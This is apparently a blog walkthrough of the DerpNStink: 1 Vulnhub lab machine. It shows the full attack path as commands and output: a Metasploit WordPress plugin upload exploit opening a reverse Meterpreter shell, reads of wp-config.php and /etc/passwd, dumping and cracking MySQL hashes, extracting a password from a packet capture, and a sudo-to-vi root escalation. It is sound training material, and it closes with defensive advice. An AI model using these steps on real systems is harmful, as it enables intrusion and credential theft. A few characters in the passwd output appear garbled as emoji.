DerpNStink: 1
@ Chris Suttles · Wednesday, May 8, 2019 · 14 minute read · Update at May 24, 2020

After all the fun I've had doing vulnhub boxes with my friends, I wanted to try to solve one by myself to switch things up a bit. I downloaded DerpNStink: 1 from vulnhub, and got to work.

Author Blurb




Mr. Derp and Uncle Stinky are two system administrators who are starting their own company, DerpNStink. Instead of hiring qualified professionals to build up their IT landscape, they decided to hack together their own system which is almost ready to go live...


This is a boot2root Ubuntu based virtual machine. It was tested on VMware Fusion and VMware Workstation12 using DHCP settings for its network interface. It was designed to model some of the earlier machines I encountered during my OSCP labs also with a few minor curve-balls but nothing too fancy. Stick to your classic hacking methodology and enumerate all the things!

Your goal is to remotely attack the VM and find all 4 flags eventually leading you to full root access. Don't forget to #tryharder

Example: flag1(AB0BFD73DAAEC7912DCDCA1BA0BA3D05). Do not waste time decrypting the hash in the flag as it has no value in the challenge other than an identifier.


Hit me up if you enjoy this VM! Twitter: @securekomodo Email:


This is a beginner level vulnerable machine, so an nmap scan was pretty sparse. No surprises here. I ended up using all three of the available services to capture the available flags on this machine.

msf5 > db_nmap -sV -O -A -p- -T5 target
[*] Nmap: Starting Nmap 7.70 ( ) at 2019-05-07 00:05 EDT
[*] Nmap: Nmap scan report for target (
[*] Nmap: Host is up (0.00081s latency).
[*] Nmap: rDNS record for derpstink
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: 21/tcp open  ftp     vsftpd 3.0.2
[*] Nmap: 22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
[*] Nmap: |   2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
[*] Nmap: |   256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
[*] Nmap: |_  256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca🆎5d:2d (ED25519)
[*] Nmap: 80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
[*] Nmap: | http-robots.txt: 2 disallowed entries
[*] Nmap: |_/php/ /temporary/
[*] Nmap: |_http-server-header: Apache/2.4.7 (Ubuntu)
[*] Nmap: |_http-title: DeRPnStiNK
[*] Nmap: MAC Address: 00:0C:29:AE:8D:F3 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.81 ms derpstink (
[*] Nmap: OS and Service detection performed. Please report any incorrect results at .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 13.65 seconds


Since anonymous ftp didn't turn up anything, and we need to have creds for SSH, HTTP was the obvious starting point. I checked out robots.txt, and poked with curl. That turned up the first flag almost immediately.

curl target
<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->

While that was encouraging, I figured it was also maybe a little misleading, and that the rest would be more difficult. That turned out to be correct.


After a little manual exploring, I ran dirb to see what was there. This turned up a wordpress blog, and also a phpmyadmin installation, along with some red herrings.


WPScan turned up a lot of vulnerabilities, but many required authentication. I ended up exploring a lot of the other dirb output before I circled back to try admin/admin to get into wordpress. When it worked, I came very close to a literal facepalm. I had spent a lot of time looking at more difficult attack vectors when all I had to do was log in with default credentials.

Since the output of WPScan can be pretty large, here's just the part I used to get a shell.

[+] slideshow-gallery
 | Location: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/
 | Last Updated: 2019-04-01T15:08:00.000Z
 | [!] The version is out of date, the latest version is 1.6.10
 | Detected By: Urls In Homepage (Passive Detection)
 | [!] 4 vulnerabilities identified:
 | [!] Title: Slideshow Gallery < 1.4.7 Arbitrary File Upload
 |     Fixed in: 1.4.7
 |     References:
 |      -
 |      -
 |      -
 |      -
 |      -
 |      -
 |      -

Oh, look! It even has a metasploit module!

msf5 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
wp_user => admin
msf5 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
wp_password => admin
msf5 exploit(unix/webapp/wp_slideshowgallery_upload) > exploit

[*] Started reverse TCP handler on
[*] Trying to login as admin
[*] Trying to upload payload
[*] Uploading payload
[*] Calling uploaded file aazpjbrr.php
[*] Sending stage (38247 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-05-05 16:25:53 -0400
[+] Deleted aazpjbrr.php

meterpreter >
meterpreter > getuid
Server username: www-data (33)
meterpreter > ls
Listing: /var/www/html/weblog/wp-content/uploads/slideshow-gallery

My notes for /weblog/ definitely include the word yikes. With the trivial effort to get a shell, I knew I was going to have to do something tricky to get the next step. Wrong. I made this part harder than it was because I missed an important detail when I tried to move too fast. Let me back up and explain properly before I repeat that mistake here!


With a shell as the www-data user, I could grab credentials for wordpress easily. While I was at it, I grabbed /etc/passwd to get a real user list.

www-data@DeRPnStiNK:/var/www/html/weblog$ grep -i db wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'mysql');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
define('SECURE_AUTH_SALT', '14EV-M=x?/lW3ODB7ro^;}&J4&ggBY#xohsa&7ZX/l[Xp,P;DY;AbPDA4oO#<vKd');
www-data@DeRPnStiNK:/var/www/html/weblog$ cat /etc/passwd
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
usbmux❌103:46:usbmux daemon,,,:/home/usbmux:/bin/false
avahi-autoipd❌105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops❌106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
speech-dispatcher❌110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi❌111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm❌112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord❌113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip❌114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse❌115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
mysql❌116:125:MySQL Server,,,:/nonexistent:/bin/false
stinky❌1001:1001:Uncle Stinky,,,:/home/stinky:/bin/bash
ftp❌118:126:ftp daemon,,,:/srv/ftp:/bin/false
mrderp❌1000:1000:Mr. Derp,,,:/home/mrderp:/bin/bash

Next I was able to connect to mysql and dump some passwords. Since the user/pass combo was so simple, I decided to go right for the gold and connect to mysql db directly:

www-data@DeRPnStiNK:/var/www/html/weblog$ mysql -uroot -pmysql mysql
mysql> select user, host, password from user;
| user             | host             | password                                  |
| root             | localhost        | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | derpnstink       | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             |        | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | ::1              | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| debian-sys-maint | localhost        | *B95758C76129F85E0D68CF79F38B66F156804E93 |
| unclestinky      | derpnstink.local | *9B776AFB479B31E8047026F1185E952DD1E530CB |
| phpmyadmin       | localhost        | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |
7 rows in set (0.00 sec)

Next I popped these hashes into a file for cracking:

[Exit: 0] 00:25: cat johnmysql.txt
[Exit: 0] 21:01: john --users='unclestinky' --fork=3 --format=mysql-sha1 johnmysql.txt
[Exit: 0] 21:01: john --show johnmysql.txt


This is where I made my mistake. The root/mysql combo cracked very quickly. I started looking at other things, and missed it when john cracked the password for unclestinky. I thought I hit a dead end, and I wasted a TON of time.

I looked at a million kernel exploits, and compiled and tried all of the ones I thought would work. I enumerated the box by hand and with two enumeration scripts. I was sure I missed something important, so I pored over those results and manually inspected the box as well. I looked at every cron job on the box, grepping for file paths in them, and checking permissions to see if I could hijack one, even though I suspected the enumeration scripts I ran probably already did that. I was stumped. I went back to the well with HTTP and chased all the red herrings. I tried to hijack mysql just to become a different user, because I thought I hit a wall with www-data. I let one kernel exploit run overnight, out of sheer desperation, because I figured if I could get root I could get all the flags. While that may be true, it ultimately only stalled my progress. The exploit I let run did succeed, but to my chagrin, it was a POC so although it got a root shell, I never got access to that shell.

Contradictions do not exist. Whenever you think you are facing a contradiction, check your premises. You will find that one of them is wrong.

My mistake lead me to this false contradiction: "This is a beginner level machine. Why is this so hard?"

I decided to check my premises. I looked for another walkthrough to get me unstuck. I was careful to read as little as possible so that I could learn by doing, not by reading. In that walkthrough, the author popped the mysql password for unclestinky into crackstation. I closed the browser tab and did the same. Boom.

The astute reader will notice that the mysql password for unclestinky is already included in this post in the output from john the ripper. After grabbing it on crackstation, I decided to revisit john. When I re-ran john, I saw what I had missed; it had already cracked the password I wanted. It was still running to crack a password that didn't matter:

| debian-sys-maint | localhost        | *B95758C76129F85E0D68CF79F38B66F156804E93 |

Back On Track

I had corrected my misstep with the help of the almighty internet and learned some valuable lessons:

  • always try the easy way first
  • make sure you double check your results before moving to a more difficult task

Now I had the password for the only other wordpress user, which I was sure was the route to getting a foothold as a real user. I logged into wordpress as unclestinky and poked around; when I checked the posts section of the admin interface I found a draft called flag.txt


Well that's great.


Early on I grabbed the /etc/ssh/sshd_config file and saw that password authentication was disabled, so I knew if I could re-use this password, it would be via ftp. I also grabbed the vsftpd config file, and /etc/passwd so I knew the only user who could log in via ftp was the system userstinky.

www-data@DeRPnStiNK:/var/www/html/weblog/wp-content/uploads/slideshow-gallery$ cat /etc/vsftpd.conf | grep -vP '^$|^#'

www-data@DeRPnStiNK:/var/www/html/weblog/wp-content/uploads/slideshow-gallery$ cat /etc/vsftpd.userlist

Here's the loot from stinky's ftp access:

# from lftp I cat the file:
<--- 150 Opening BINARY mode data connection for network-logs/derpissues.txt ...
<--- 226 Transfer complete.
12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?
12:07 stinky: yeah. did you need a password reset?
12:07 mrderp: I think i accidently deleted my account
12:07 mrderp: i just need to logon once to make a change
12:07 stinky: im gonna packet capture so we can figure out whats going on
12:07 mrderp: that seems a bit overkill, but wtv
12:08 stinky: commence the sniffer!!!!
12:08 mrderp: -_-
12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login?
12:11 mrderp: awesome it works!
12:12 stinky: we really are the best sysadmins #team
12:13 mrderp: i guess we are...
12:15 mrderp: alright I made the changes, feel free to decomission my account
12:20 stinky: done! yay
719 bytes transferred
lftp stinky@derpnstink.local:/files>
lftp stinky@derpnstink.local:/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh> cat key.txt ...
1675 bytes transferred



The next step was to connect with the ssh key I found as the user stinky and see what else I could grab. Oh, look, a flag!

[Exit: 0] 00:25: ssh -i stinky.key stinky@target

Ubuntu 14.04.5 LTS

                       '  Derrrrrp  N  `
        ,~~~~~~,       |    Stink      |
       / ,      \      ',  ________ _,"
      /,~|_______\.      \/
     /~ (__________)
    (*)  ; (^)(^)':
        =;  ____  ;
          ; """"  ;=
   {"}_   ' '""' ' _{"}
   \__/     >  <   \__/
      \    ,"   ",  /
       \  "       /"
          "      "=
           >     <
          ="     "-
          -`.   ,'

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:

331 packages can be updated.
231 updates are security updates.

Last login: Mon May  6 23:51:04 2019 from

stinky@DeRPnStiNK:~$ find .
stinky@DeRPnStiNK:~$ ls
Desktop  Documents  Downloads  ftp
stinky@DeRPnStiNK:~$ ls -r Desktop/
stinky@DeRPnStiNK:~$ cat Desktop/flag.txt
stinky@DeRPnStiNK:~$ ls -r Documents/

More important than the flag, I found the pcap that was referred to in the chat log I found via ftp. I grabbed that and did a very lazy parse. Oh, look, a password!

scp -i stinky.key stinky@target:~/Documents/derpissues.pcap .
# get password for mrderp from pcap ; pass is reused in system and wordpress:
tshark -r derpissues.pcap -2 -Y http -V  | grep -i pass
Running as user "root" and group "root". This could be dangerous.
    [Request URI [truncated]: http://derpnstink.local/weblog/wp-admin/load-scripts.php?c=0&load%5B%5D=hoverIntent,common,admin-bar,wp-ajax-response,password-strength-meter,underscore,wp-util,user-profile,svg-painter,heartbeat,wp-a&load%5B%5D=u]
    Form item: "pass1" = "derpderpderpderpderpderpderp"
        Key: pass1
    Form item: "pass1-text" = "derpderpderpderpderpderpderp"
        Key: pass1-text
    Form item: "pass2" = "derpderpderpderpderpderpderp"
        Key: pass2


Since password auth is disallowed in sshd_config, I just did a su - mrderp from my shell as stinky. I used the password from the packet capture, and was authenticated.

stinky@DeRPnStiNK:~$ su - mrderp
mrderp@DeRPnStiNK:~$ ls
binaries  Desktop  Documents  Downloads
mrderp@DeRPnStiNK:~$ ls Documents/
mrderp@DeRPnStiNK:~$ ls Desktop/
mrderp@DeRPnStiNK:~$ cat Desktop/helpdesk.log
From: Help Desk <helpdesk@derpnstink.local>
Date: Thu, Aug 23, 2017 at 1:29 PM
Subject: sudoers ISSUE=242 PROJ=26

Based on the hint in the helpdesk log, I went straight to looking at sudo.

mrderp@DeRPnStiNK:~/Desktop$ sudo -l
[sudo] password for mrderp:
Matching Defaults entries for mrderp on DeRPnStiNK:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mrderp may run the following commands on DeRPnStiNK:
    (ALL) /home/mrderp/binaries/derpy*
mrderp@DeRPnStiNK:~$ mkdir -p binaries
mrderp@DeRPnStiNK:~$ cd binaries/
mrderp@DeRPnStiNK:~/binaries$ cp /usr/bin/vi derpy
mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy
#from vim:
# and now I 'm root
root@DeRPnStiNK:~/binaries# id
uid=0(root) gid=0(root) groups=0(root)


There's not much left to do here. I poked around because I'm curious and wanted to better understand the build of this vulnerable machine. Like most of these, once you have root, getting the flag is trivial.

root@DeRPnStiNK:/root/Desktop# cat flag.txt

Congrats on rooting my first VulnOS!

Hit me up on twitter and let me know your thoughts!



I really enjoyed this machine. I got frustrated by my own mistakes along the way, but in doing so, I learned a lot, so it was still a win for me.

Key Reminders

If you read this far, none of what follows should be new information.

  1. Never re-use passwords. It's 2019. You should be using a password manager and have unique, complex passwords for everything and use two factor auth whenever possible.
  2. Never ever authenticate to any service over HTTP. Even better, use something like HTTPS everywhere to help you be smart.
  3. Configuring sudo for stuff in a user's home directory or any path that is easily modifiable is a huge security hole.
  4. SSH private keys are sacred, and must be burned if compromised, or even if you suspect compromise.

Test Methodology Reminders

Here's some reminders for doing this kind of work.

  1. Be meticulous and take detailed notes. Like a million other people doing this, I like to use cherrytree.
  2. Double check the front door/easy way before moving on. Remember all that time I said I wasted trying more difficult/exciting exploits that didn't pan out before realizing I missed a password I already cracked? Don't do that.
  3. When you feel stuck, or frustrated, take a break! This goes hand in hand with the last point. My mistake cascaded into a much bigger waste of time because of poor decision making; that was a result of me refusing to take a break, take a step back, and re-evaluate.

Bonus Reading

One of the kernel exploits I tried lead to a very interesting read. Qualsys write up of stack clashing is incredibly detailed. While I didn't understand all of it, I did learn some things while trying to read and understand it, and learning and fun is the whole point of this activity. I also have found myself referring to this gitbook on privilege escalation again and again. It's a very useful resource. Here's a particularly relevant piece of advice from, that gitbook:

Don't use kernel exploits if you can avoid it. If you use it it might crash the machine or put it in an unstable state. So kernel exploits should be the last resort. Always use a simpler priv-esc if you can. They can also produce a lot of stuff in the sys.log. So if you find anything good, put it up on your list and keep searching for other ways before exploiting it.

Sage advice. I also spent some time working on MySQL UDF exploitation, which was a new concept to me. There's a terrific writeup here. While it is focused on Windows, it explains the concept and process in great detail. I found out pretty quickly that --secure-file-priv is a showstopper for this kind of exploit unless you have access to control MySQL, or access to write to the directory specified by the variable, since it is not dynamic. Kudos to the machine author for making the wrong path difficult, but also a learning opportunity. I got a lot more out of this machine than I expected.Thanks for reading!

Social Links